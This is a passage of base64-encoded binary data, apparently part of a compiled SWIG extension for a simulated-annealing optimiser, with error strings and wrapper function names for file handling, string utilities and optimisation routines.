ZTo6d3JpdGVmaWxlOgogSW52YWxpZCBtb2RlICVzIAAnLgoAZm9yIHdyaXRpbmcgdG8gZmls ZSBgAAAAJwAAAGJhc2lzZmlsZTo6d3JpdGVmaWxlOgogVW5hYmxlIHRvIG9wZW4gZmlsZSBg AAAAACB3aXRoIG1vZGUgJXMuCgBhAAAAYQAAAGJhc2lzZmlsZTo6d3JpdGVmaWxlOgogSW52 YWxpZCBtb2RlICVzIAAnLgoAZm9yIHdyaXRpbmcgdG8gZmlsZSBgAAAAJwAAAGJhc2lzZmls ZTo6d3JpdGVmaWxlOgogVW5hYmxlIHRvIG9wZW4gZmlsZSBgAAAAACB3aXRoIG1vZGUgJXMu CgBFcnJvciB3aGlsZSBzcGxpdHRpbmcgYmFzaXNmaWxlIHN0cnVjdHVyZS4KAENvdWxkbid0 IGZpbmQgcGFyYW1ldGVyIG51bWJlciAlZC4KAFByb2JhYmx5IGxpbmUgbnVtYmVyICVkIGV4 Y2VlZHMgbnVtYmVyIG9mIGxpbmVzIG9mIGZpbGUuCgAAAGJhc2lzZmlsZTo6c3BsaXQ6CiBF bXB0eSBmaWxldGV4dCBzdHJ1Y3R1cmUuICBBYm9ydGluZy4KAAAAAGJhc2lzZmlsZTo6c3Bs aXQ6CiBJbnZhbGlkIGxpbmVudW1iZXIgJWQuCgAAYmFzaXNmaWxlOjpzcGxpdDoKIEludmFs aWQgcG9zaXRpb24gJWQuCgAAAAAKAAAACgAAAFByb2JsZW0gaW4gbGluZSBuby4gJWQ6CgAA AAAgQ2FuIG5vdCBmaW5kIG1vcmUgdGhhbiAlZAAAJy4KACBwcmVzZXBhcmF0b3JzIGAAAAAA IFNob3VsZCBoYXZlIGZvdW5kICVkLgoAIgoAAFRleHQgb2YgdGhlIGxpbmUgdW5kZXIgY29u c2lkZXJhdGlvbjoKICIAAAAAUHJvYmxlbSB3aXRoIHNwZWNpZmljYXRpb24gb2YgdmFyaWFi bGUgbm8uICVkOgoAIHBhc3RzZXBhcmF0cG9yIGlzIGVtcHR5LgoAAFByb2JsZW0gaW4gbGlu ZSBuby4gJWQ6CgAAAAAgQ2FuIG5vdCBmaW5kAAAAJyBhZnRlciAAAAAAIHBhc3RzZXBhcmF0 b3IgYAAAAAAlZC4gAAAAACcuCgBwcmVzYXBhcmF0b3IgYAAAIgoAAFRleHQgb2YgdGhlIGxp bmUgdW5kZXIgY29uc2lkZXJhdGlvbjoKICIAAAAAdmwycHQ6CiAAAAAARXJyb3Igd2hpbGUg Y29weWluZyB4X25vdyB0byBwYXJhbXRlciB0ZXh0LgoAAAAAdmwycHQ6CiAAAAAAQ2Fubm90 IGZpbmQgcGFyYW10ZXIgdGV4dCBmb3IgdmFyaWFibGUgbm8uICVkLgoAdGZsbiA9ICVkCXRs bG4gPSAlZAoAAAAAdmFyaWFibGVuX3BvaW50ZXItPm51bW1lciA9IAAAAAAlZAoACgAAACcK AAB0ZXh0OgogYAAAAAAnCgAAcGFyYW1ldGVyX3RleHQ6IGAAAABjYWxjdWxhdGUgKCk6CiAA RXJyb3Igd2hpbGUgY29weWluZyB2YXJpYWJsZXMgKHhfbm93KSB0byBwYXJhbWV0ZXIgdGV4 dHMuCgAAdwAAAGNhbGN1bGF0ZSAoKToKIE5vIGJhc2lzZmlsZSBzdHJ1Y3R1cmUgc3BlY2lm aWVkLgoAAAByAAAAb3V0cHV0LmFzYwAAJWxmAGNhbGN1bGF0ZTogIEF1c2dhYmVkYXRlaSBg b3V0cHV0LmFzYycgbmljaHQgZ2VmdW5kZW4uCgAAdwAAAGNhbGN1bGF0ZSAoKToKIE5vIGJh c2lzZmlsZSBzdHJ1Y3R1cmUgc3BlY2lmaWVkLgoAAAByAAAAb3V0cHV0LmFzYwAAJWxmAGNh bGN1bGF0ZTogIEF1c2dhYmVkYXRlaSBgZXJnZWJuaXMuYXNjJyBuaWNodCBnZWZ1bmRlbi4K AAAAAGV2YWx1YXRlOjphYm9ydCgpOiBjYXNlICdlJyBub3QgaW1wbGVtZW50ZWQgeWV0LgoA AABldmFsdWF0ZTo6YWJvcnQoKToKACBFcnJvciB3aGlsZSBjb21wYXJpbmcgcmVzdWx0IHdp dGggZ29hbC4KAAAAZXZhbHVhdGU6OmFib3J0KCk6CgAgRXJyb3Igd2hpbGUgY29tcGFyaW5n IHJlc3VsdCB3aXRoIGdvYWwuCgAAAGV2YWx1YXRlOjphYm9ydCgpOiBjYXNlICduJyBub3Qg aW1wbGVtZW50ZWQgeWV0LgoAAABldmFsdWF0ZTo6YWJvcnQoKToKACBVbmtub3duIGNyaXRl cmlhIGAlYycuCgAAAABzdHJpbmc6OmNoZWNrX2luZGV4ICggJWQgKQAAICVzADogQWNjZXNz IG91dCBvZiBib3VuZHMuCgAAAABzdHJpbmc6OmNvcHk6CiBJbnZhbGlkIHZhbHVlIG9mIGRl Y2ltYWw6ICVkCgAAAAAlJSVkLiVkZgAAAAAlZAAAc3RyaW5nOjpjb3B5KHN0cnVjdCB2YXJp YWJsZSAqdik6CgAAIE5vIHZhcmlhYmxlIGdpdmVuLgoAAAAAc3RyaW5nOjpjb3B5OgogVW5r bm93biB0eXBlIGAlYycgb2Ygc3RydWN0IHZhcmlhYmxlLgoAAAAlZwAAJWQAAEVycm9yIGlu IHN0cmluZzo6bmNvcHkgOiAAAAAgIG49JWQsIG9mZnNldD0lZCwgcy5zaXplPSVkCgAAACAg ICBIaW50OiBzaXplIGluY2x1ZGVzIGBcMCcuCgAAcgAAACcuCgBDYW5ub3Qgb3BlbiBmaWxl IGAAAHIAAAAnLgoAQ2Fubm90IG9wZW4gZmlsZSBgAABTaW5jZSBJJ3ZlIGJlZW4gYWJsZSB0 byBvcGVuIGl0IHJlY2VudGx5LCBzb21ldGhpbmcgcmVhbGx5AABzdHJhbmdlIGlzIGdvaW5n IG9uLgoAAAByAAAAJy4KAENhbm5vdCBvcGVuIGZpbGUgYAAAcgAAACcuCgBDYW5ub3Qgb3Bl biBmaWxlIGAAAFNpbmNlIEkndmUgYmVlbiBhYmxlIHRvIG9wZW4gaXQgcmVjZW50bHksIHNv bWV0aGluZyByZWFsbHkAAHN0cmFuZ2UgaXMgZ29pbmcgb24uCgAAAHN0cmluZzo6ZmlsZXdy aXRlOgogSW52YWxpZCBtb2RlICVzIAAAAAAnLgoAZm9yIHdyaXRpbmcgc3RyaW5nIHRvIGZp bGUgYAAAAAAlcwAAJwAAAHN0cmluZzo6ZmlsZXdyaXRlOgogVW5hYmxlIHRvIG9wZW4gZmls ZSBgAAAAIHdpdGggbW9kZSAlcy4KACVzAABzdHJpbmc6OmZpbGV3cml0ZToKIGZpbGUgcG9p bnRlciA9IE5VTEwuCgAAAHN0cmluZyAAICVzIAAAAAAgPSAiAAAAACVjAAAiCgAAJXMAACVj AAAlcwAAJXMAACVjAAAlcwAAJXMAACVjAAAlcwAAc2ltYW5uZWFsX3Zhcmxpc3Q6OnB0Mnhu ICgpOgogAABFcnJvciB3aGlsZSBjb3B5aW5nIHBhcmFtZXRlciB0ZXh0IHRvIHhfbm93IG9m IHZhcmlhYmxlIG5vLiAlZAAACgAAAHhfbm93XzJfeF9vcHQgKCk6CiAARW1wdHkgdmFyaWFi bGUgbGlzdCEuCgAAeF9ub3dfMl94X29wdCAoKToKIABFbXB0eSB4X29wdCBpbiB2YXJpYWJs ZSBsaXN0IS4KAHhfbm93XzJfeF9vcHQgKCk6CiAARW1wdHkgeF9ub3cgaW4gdmFyaWFibGUg bGlzdCEuCgBzaW11bGF0ZWRfYW5uZWFsaW5nOjpidWlsZF92YXJsaXN0OgoAAAAAIE5vIHZh bGlkIHZhcmlhYmxlcyBmb3VuZC4KAHNpbXVsYXRlZF9hbm5lYWxpbmc6Om9wdGltaXplICgp OgogACcKAABFcnJvciB3aGlsZSB0cnlpbmcgdG8gZXhlY3V0ZQogIGAAAABzaW11bGF0ZWRf YW5uZWFsaW5nOjpvcHRpbWl6ZSAoKToKAAAgRXJyb3Igd2hpbGUgYnVpbGRpbmcgbmV3IHZh cmlhYmxlIHZlY3Rvci4KAAoAAABFcnJvciB3aGlsZSBleGVjdXRpbmcKICAAAAAAc2ltdWxh dGVkX2FubmVhbGluZzo6b3B0aW1pemU6CgAgRXJyb3Igd2hpbGUgZXZhbHVhdGluZyBuZXcg cmVzdWx0LgoAAAAAJWcKAHNpbXVsYXRlZF9hbm5lYWxpbmc6OnRha2VfbmV3X3Jlc3VsdDoK AAAgRXJyb3Igd2hpbGUgcmVhZGluZyBgZm9sZCcuCgAAAHNpbXVsYXRlZF9hbm5lYWxpbmc6 OnRha2VfbmV3X3Jlc3VsdDoKAAAgQ29tcGFyaXNvbiB3aXRoIGludGVnZXJzIGlzbid0IGlt cGxlbWVudGVkIHlldC4KAAAAc2ltdWxhdGVkX2FubmVhbGluZzo6dGFrZV9uZXdfcmVzdWx0 OgoAACBDb21wYXJpc29uIHdpdGggc3RyaW5ncyBpc24ndCBpbXBsZW1lbnRlZCB5ZXQuCgAA AABzaW11bGF0ZWRfYW5uZWFsaW5nOjp0YWtlX25ld19yZXN1bHQ6CgAAIFVua25vd24gdHlw ZSBvZiBgZm5ldycgYCVjJy4KAABzaW11bGF0ZWRfYW5uZWFsaW5nOjp2YXJ5X3NpbXZhcmxp c3QoKToKAAAAACBObyBzaW11bGF0ZWQgYW5uZWFsaW5nIHBhcmFtZXRlcnMgZm91bmQgZm9y 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 AAAAAAAAAACMcQIQAAAAAKRxAhAAAAAAAAAAALxxAhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA1HECEAAAAADkcQIQAAAAAAAAAAD4cQIQAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhyAhAAAAAAEHICEAAAAAAAAAAAGHICEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgcgIQAAAAACxyAhAAAAAA AAAAAEByAhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATHICEAAA AABkcgIQAAAAAAAAAACAcgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJhyAhAAAAAApHICEAAAAAAAAAAAsHICEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAC8cgIQAAAAAMhyAhAAAAAAAAAAANByAhAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3HICEAAAAADocgIQAAAAAAAAAAD4cgIQAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACGYCEEhmAhCIZgIQyGYCEAhnAhBIZwIQ iGcCEMhnAhAIaAIQAAAAAHN3aWd2YXJsaW5rAG5ld19zaW1hbm5lYWxfdmFybGlzdAAAAGRl bGV0ZV9zaW1hbm5lYWxfdmFybGlzdAAAAABzaW1hbm5lYWxfdmFybGlzdF9jbGVhbnkAAAAA c2ltYW5uZWFsX3Zhcmxpc3RfY2xlYW4Ac2ltYW5uZWFsX3Zhcmxpc3RfcHQyeG4Ac2ltYW5u ZWFsX3Zhcmxpc3Rfdmxfc2V0AAAAAHNpbWFubmVhbF92YXJsaXN0X3ZsX2dldAAAAABzaW1h bm5lYWxfdmFybGlzdF9uZXh0X3NldAAAc2ltYW5uZWFsX3Zhcmxpc3RfbmV4dF9nZXQAAG5l d19zaW11bGF0ZWRfYW5uZWFsaW5nAG5ld19zaW11bGF0ZWRfYW5uZWFsaW5nXzZhcmdzAAAA ZGVsZXRlX3NpbXVsYXRlZF9hbm5lYWxpbmcAAHNpbXVsYXRlZF9hbm5lYWxpbmdfdmxfc2V0 AABzaW11bGF0ZWRfYW5uZWFsaW5nX3ZsX2dldAAAc2ltdWxhdGVkX2FubmVhbGluZ19zdmxf c2V0AHNpbXVsYXRlZF9hbm5lYWxpbmdfc3ZsX2dldABzaW11bGF0ZWRfYW5uZWFsaW5nX3Rl eHRfc2V0AAAAAHNpbXVsYXRlZF9hbm5lYWxpbmdfdGV4dF9nZXQAAAAAc2ltdWxhdGVkX2Fu bmVhbGluZ19zdWNjZXNzX3NldABzaW11bGF0ZWRfYW5uZWFsaW5nX3N1Y2Nlc3NfZ2V0AHNp bXVsYXRlZF9hbm5lYWxpbmdfdGNfbWF4X3NldAAAc2ltdWxhdGVkX2FubmVhbGluZ190Y19t YXhfZ2V0AABzaW11bGF0ZWRfYW5uZWFsaW5nX3RfZmFjdG9yX3NldAAAAABzaW11bGF0ZWRf YW5uZWFsaW5nX3RfZmFjdG9yX2dldAAAAABzaW11bGF0ZWRfYW5uZWFsaW5nX2NhbGxfc2V0 AAAAAHNpbXVsYXRlZF9hbm5lYWxpbmdfY2FsbF9nZXQAAAAAc2ltdWxhdGVkX2FubmVhbGlu Z19idWlsZF92YXJsaXN0AAAAc2ltdWxhdGVkX2FubmVhbGluZ19vcHRpbWl6ZQAAAABzaW11 bGF0ZWRfYW5uZWFsaW5nX3Zhcnlfc2ltdmFybGlzdABzaW11bGF0ZWRfYW5uZWFsaW5nX3Rh a2VfbmV3X3Jlc3VsdAB4X25vd18yX3hfb3B0AAAAY2FsY180YXJncwAAY2FsY3VsYXRlAAAA bmV3X2V2YWx1YXRlAAAAAGRlbGV0ZV9ldmFsdWF0ZQBldmFsdWF0ZV9jcml0ZXJpYV9zZXQA AABldmFsdWF0ZV9jcml0ZXJpYV9nZXQAAABldmFsdWF0ZV9nb2FsX3NldAAAAGV2YWx1YXRl X2dvYWxfZ2V0AAAAZXZhbHVhdGVfZXBzaWxvbl9zZXQAAAAAZXZhbHVhdGVfZXBzaWxvbl9n ZXQAAAAAZXZhbHVhdGVfbWluY2hhbmdlX3NldAAAZXZhbHVhdGVfbWluY2hhbmdlX2dldAAA ZXZhbHVhdGVfbl9zZXQAAGV2YWx1YXRlX25fZ2V0AABldmFsdWF0ZV9hYm9ydAAAc3RyaW5n X3NpemVfc2V0AHN0cmluZ19zaXplX2dldABzdHJpbmdfbGFiZWxfc2V0AAAAAHN0cmluZ19s YWJlbF9nZXQAAAAAbmV3X3N0cmluZwAAbmV3X3N0cmluZ19pbnRfY2hhcgBuZXdfc3RyaW5n X2NoYXJfY2hhcgAAAABuZXdfc3RyaW5nX3N0cmluZ19jaGFyAABkZWxldGVfc3RyaW5nAAAA c3RyaW5nX2NsZWFuAAAAAHN0cmluZ19jYXRfc3RyaW5nAAAAc3RyaW5nX2NhdAAAc3RyaW5n X2NvcHlfc3RyaW5nAABzdHJpbmdfY29weV9jaGFyAAAAAHN0cmluZ19jb3B5X2RsAABzdHJp bmdfY29weV9pAAAAc3RyaW5nX2NvcHkAc3RyaW5nX291dAAAc3RyaW5nX25jb3B5X3N0cmlu Z19pAAAAc3RyaW5nX25jb3B5AAAAAHN0cmluZ19jb21wb3NlX3N0cl9zdHJfY2hhcgBzdHJp bmdfY29tcG9zZV9zdHJfY2hhcl9jaGFyAAAAAHN0cmluZ19jb21wb3NlX3N0cl9kX2NoYXIA AABzdHJpbmdfY29tcG9zZQAAc3RyaW5nX2VsZW1lbnQAAHN0cmluZ19jb21wb3NlX3N0cnVj dF9zdHJpbmcAAAAAc3RyaW5nX2NvbXBhcmUAAHN0cmluZ19zdHJjb21wc3Bhbl9jaGFyaQAA AABzdHJpbmdfc3RyY29tcHNwYW5fc3RydWN0X3N0cmluZ2kAAABzdHJpbmdfc3RyaW5nX2Nv bXBsZW1lbnRfc3BhbgAAAHN0cmluZ19zdHJpbmdzcGFuX3N0cnVjdF9zdHJpbmdpAAAAAHN0 cmluZ19zdHJpbmdfc3BhbgAAc3RyaW5nX3N0cmluZ3N0cmluZ19zdHJ1Y3Rfc3RyaW5nX2No YXIAAHN0cmluZ19zdHJpbmdzdHJpbmdfc3RydWN0c3RyaW5nX3N0cnVjdHN0cmluZwAAAHN0 cmluZ19zdHJpbmdfc3RyaW5nAAAAAHN0cmluZ19zdHJpbmdfY2hhcmFjdGVyAHN0cmluZ19z dHJpbmdfcG9pbnRlcl9icmVhawBzdHJpbmdfZmlsZW9wZW4Ac3RyaW5nX2ZpbGVyZWFkAHN0 cmluZ19maWxlcmVhZGMAAAAAc3RyaW5nX2ZpbGV3cml0ZV9zdHJpbmdfY2hhcgAAAABzdHJp bmdfZmlsZXdyaXRlAAAAAHN0cmluZ19zeXN0ZW1fY2FsbAAAc3RyaW5nX2luaXQAcHJpbnQA AABzdHJwcmludF9zdHJ1Y3RzdHJpbmdfY2hhcl9jaGFyAHN0cnByaW50X3N0cnVjdHN0cmlu Z19pbnRfY2hhcl9jaGFyAHN0cnByaW50AAAAAF9wX3ZhcmlhYmxlbGlzdABzdHJ1Y3QgdmFy aWFibGVsaXN0ICoAAABfcF92YXJpYWJsZWxpc3QAX3Bfc2ltdWxhdGVkX2FubmVhbGluZwAA c2ltdWxhdGVkX2FubmVhbGluZyAqAAAAX3Bfc2ltdWxhdGVkX2FubmVhbGluZwAAX3BfYmFz aXNmaWxlAAAAAHN0cnVjdCBiYXNpc2ZpbGUgKgAAX3BfYmFzaXNmaWxlAAAAAF9wX0ZJTEUA RklMRSAqAABfcF9GSUxFAF9wX3ZhcmlhYmxlAHN0cnVjdCB2YXJpYWJsZSAqAAAAX3BfdmFy aWFibGUAX3Bfc2ltYW5uZWFsX3Zhcmxpc3QAAAAAc3RydWN0IHNpbWFubmVhbF92YXJsaXN0 ICoAAF9wX3NpbWFubmVhbF92YXJsaXN0AAAAAF9wX2V2YWx1YXRlAGV2YWx1YXRlICoAAF9w X2V2YWx1YXRlAF9wX3BfY2hhcgAAAGNoYXIgKioAX3BfcF9jaGFyAAAAX3Bfc3RyaW5nAAAA c3RydWN0IHN0cmluZyAqAF9wX3N0cmluZwAAADxHbG9iYWwgdmFyaWFibGVzPgAAR2xvYmFs IHZhcmlhYmxlcyB7IAAlcwAALCAAACB9CgBVbmtub3duIEMgZ2xvYmFsIHZhcmlhYmxlAAAA VW5rbm93biBDIGdsb2JhbCB2YXJpYWJsZQAAADpuZXdfc2ltYW5uZWFsX3Zhcmxpc3QAAE86 ZGVsZXRlX3NpbWFubmVhbF92YXJsaXN0AAB0aGlzAAAAAE5VTEwAAAAAVHlwZSBlcnJvci4g RXhwZWN0ZWQgJXMARXhwZWN0ZWQgYSBwb2ludGVyAABPOnNpbWFubmVhbF92YXJsaXN0X2Ns ZWFueQAAT086c2ltYW5uZWFsX3Zhcmxpc3RfY2xlYW4AAE86c2ltYW5uZWFsX3Zhcmxpc3Rf cHQyeG4AAABPTzpzaW1hbm5lYWxfdmFybGlzdF92bF9zZXQATzpzaW1hbm5lYWxfdmFybGlz dF92bF9nZXQAAE9POnNpbWFubmVhbF92YXJsaXN0X25leHRfc2V0AAAATzpzaW1hbm5lYWxf dmFybGlzdF9uZXh0X2dldAAAAAA6bmV3X3NpbXVsYXRlZF9hbm5lYWxpbmcAAAAAT09PaWRP Om5ld19zaW11bGF0ZWRfYW5uZWFsaW5nXzZhcmdzAAAAAE86ZGVsZXRlX3NpbXVsYXRlZF9h bm5lYWxpbmcAAAAAT086c2ltdWxhdGVkX2FubmVhbGluZ192bF9zZXQAAABPOnNpbXVsYXRl ZF9hbm5lYWxpbmdfdmxfZ2V0AAAAAE9POnNpbXVsYXRlZF9hbm5lYWxpbmdfc3ZsX3NldAAA TzpzaW11bGF0ZWRfYW5uZWFsaW5nX3N2bF9nZXQAAABPTzpzaW11bGF0ZWRfYW5uZWFsaW5n X3RleHRfc2V0AE86c2ltdWxhdGVkX2FubmVhbGluZ190ZXh0X2dldAAAT086c2ltdWxhdGVk X2FubmVhbGluZ19zdWNjZXNzX3NldAAATzpzaW11bGF0ZWRfYW5uZWFsaW5nX3N1Y2Nlc3Nf Z2V0AAAAT2k6c2ltdWxhdGVkX2FubmVhbGluZ190Y19tYXhfc2V0AAAATzpzaW11bGF0ZWRf YW5uZWFsaW5nX3RjX21heF9nZXQAAAAAT2Q6c2ltdWxhdGVkX2FubmVhbGluZ190X2ZhY3Rv cl9zZXQATzpzaW11bGF0ZWRfYW5uZWFsaW5nX3RfZmFjdG9yX2dldAAAT086c2ltdWxhdGVk X2FubmVhbGluZ19jYWxsX3NldABPOnNpbXVsYXRlZF9hbm5lYWxpbmdfY2FsbF9nZXQAAE86 c2ltdWxhdGVkX2FubmVhbGluZ19idWlsZF92YXJsaXN0AE86c2ltdWxhdGVkX2FubmVhbGlu Z19vcHRpbWl6ZQAATzpzaW11bGF0ZWRfYW5uZWFsaW5nX3Zhcnlfc2ltdmFybGlzdAAAAE9P T2Q6c2ltdWxhdGVkX2FubmVhbGluZ190YWtlX25ld19yZXN1bHQAAAAATzp4X25vd18yX3hf b3B0AE9PT086Y2FsY180YXJncwBPT086Y2FsY3VsYXRlAAAAOm5ld19ldmFsdWF0ZQAAAE86 ZGVsZXRlX2V2YWx1YXRlAAAAT2M6ZXZhbHVhdGVfY3JpdGVyaWFfc2V0AAAAAE86ZXZhbHVh dGVfY3JpdGVyaWFfZ2V0AGMAAABPTzpldmFsdWF0ZV9nb2FsX3NldAAAAABPOmV2YWx1YXRl X2dvYWxfZ2V0AE9POmV2YWx1YXRlX2Vwc2lsb25fc2V0AE86ZXZhbHVhdGVfZXBzaWxvbl9n ZXQAAE9POmV2YWx1YXRlX21pbmNoYW5nZV9zZXQAAABPOmV2YWx1YXRlX21pbmNoYW5nZV9n ZXQAAAAAT2k6ZXZhbHVhdGVfbl9zZXQAAABPOmV2YWx1YXRlX25fZ2V0AAAAAE9POmV2YWx1 YXRlX2Fib3J0AAAAT2k6c3RyaW5nX3NpemVfc2V0AABPOnN0cmluZ19zaXplX2dldAAAAE9z OnN0cmluZ19sYWJlbF9zZXQATzpzdHJpbmdfbGFiZWxfZ2V0AAA6bmV3X3N0cmluZwBpfHM6 bmV3X3N0cmluZ19pbnRfY2hhcgBzfHM6bmV3X3N0cmluZ19jaGFyX2NoYXIAAAAAT3xzOm5l d19zdHJpbmdfc3RyaW5nX2NoYXIAAE86ZGVsZXRlX3N0cmluZwBPOnN0cmluZ19jbGVhbgAA T086c3RyaW5nX2NhdF9zdHJpbmcAAAAAT3M6c3RyaW5nX2NhdAAAAE9POnN0cmluZ19jb3B5 X3N0cmluZwAAAE9zOnN0cmluZ19jb3B5X2NoYXIAT2RsOnN0cmluZ19jb3B5X2RsAABPaTpz dHJpbmdfY29weV9pAAAAAE9POnN0cmluZ19jb3B5AABPTzpzdHJpbmdfb3V0AAAAT09pOnN0 cmluZ19uY29weV9zdHJpbmdfaQAAAE9PaWk6c3RyaW5nX25jb3B5AAAAT09PczpzdHJpbmdf Y29tcG9zZV9zdHJfc3RyX2NoYXIAAAAAT09zczpzdHJpbmdfY29tcG9zZV9zdHJfY2hhcl9j aGFyAAAAT09kczpzdHJpbmdfY29tcG9zZV9zdHJfZF9jaGFyAABPT2lzOnN0cmluZ19jb21w b3NlAE9pOnN0cmluZ19lbGVtZW50AAAAT086c3RyaW5nX2NvbXBvc2Vfc3RydWN0X3N0cmlu ZwBPczpzdHJpbmdfY29tcGFyZQAAAE9zaTpzdHJpbmdfc3RyY29tcHNwYW5fY2hhcmkAAAAA T09pOnN0cmluZ19zdHJjb21wc3Bhbl9zdHJ1Y3Rfc3RyaW5naQAAAE9zOnN0cmluZ19zdHJp bmdfY29tcGxlbWVudF9zcGFuAAAAAE9PaTpzdHJpbmdfc3RyaW5nc3Bhbl9zdHJ1Y3Rfc3Ry aW5naQAAAABPc2k6c3RyaW5nX3N0cmluZ19zcGFuAABPT3M6c3RyaW5nX3N0cmluZ3N0cmlu Z19zdHJ1Y3Rfc3RyaW5nX2NoYXIAAE9PTzpzdHJpbmdfc3RyaW5nc3RyaW5nX3N0cnVjdHN0 cmluZ19zdHJ1Y3RzdHJpbmcAAABPT09pOnN0cmluZ19zdHJpbmdfc3RyaW5nAAAAT2M6c3Ry aW5nX3N0cmluZ19jaGFyYWN0ZXIAAE9PczpzdHJpbmdfc3RyaW5nX3BvaW50ZXJfYnJlYWsA T3M6c3RyaW5nX2ZpbGVvcGVuAABPTzpzdHJpbmdfZmlsZXJlYWQAAE9PYzpzdHJpbmdfZmls ZXJlYWRjAAAAAE9PczpzdHJpbmdfZmlsZXdyaXRlX3N0cmluZ19jaGFyAAAAAE9POnN0cmlu Z19maWxld3JpdGUATzpzdHJpbmdfc3lzdGVtX2NhbGwAAAAAT2l8czpzdHJpbmdfaW5pdAAA AABPOnByaW50AE98c3M6c3RycHJpbnRfc3RydWN0c3RyaW5nX2NoYXJfY2hhcgAAAABPaXxz czpzdHJwcmludF9zdHJ1Y3RzdHJpbmdfaW50X2NoYXJfY2hhcgAAAE9pY3xzczpzdHJwcmlu dABzaW1hbm5lYWxmaWxlAAAAJnZhcmlhYmxlOjpvcGVyYXRvcj0gKHN0cnVjdCB2YXJpYWJs ZSAmdik6CiAAAAAAVW5rbm93biB0eXBlIGAlYycuCgAlbGYAdmFyaWFibGU6OmNvcHkgKHN0 